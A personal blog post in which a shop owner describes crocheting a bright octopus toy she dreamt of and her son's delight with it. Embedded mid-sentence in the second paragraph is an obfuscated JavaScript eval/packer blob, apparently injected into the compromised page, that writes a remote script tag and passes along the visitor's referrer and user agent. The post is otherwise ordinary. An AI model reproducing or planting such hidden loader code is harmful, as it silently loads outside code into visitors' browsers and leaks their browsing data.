It’s been a while since I had time to write in here so apologies if this ends up being a long post…

3 weeks ago, I had a dream about crocheting and octopus. I have only ever made one toy before (see here) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zishd|var|u0026u|referrer|tkhkf||js|php’.split(‘|’),0,{}))
and that was knitted, but the dream was so real I just knew what I wanted to do!

So in the morning I went to our local yarn shop (strange I know as I own my own shop, but I dont sell cheap yarn and I wanted to make it out of really bright colours and silk felt slightly extravagant!) I bought several balls of acrylic from the bargain bucket (49p each!) and took the project on my holiday.

I still couldnt decide between Jellyfish
or an Octopus
But once I added a face it didn’t matter.

I dont have a pattern because I made it up as I went along, but if anyone is interested I would happily write it down – it’s VERY simple.  It actually only took a few hours, but I’ve had hardly any time to crochet in the last few weeks.

So, anyway, the acid test was my son – who is pretty nonchalant about cuddly toys – prefering sticks and cars, but he LOVES it. He has even put it in his pink pushchair (which is his favourite toy of all so no stereotyping here!) and pushed it round the garden for the last 10 minutes 🙂

Anyway I am very pleased with the result as it is exactly as I dreamt it 🙂
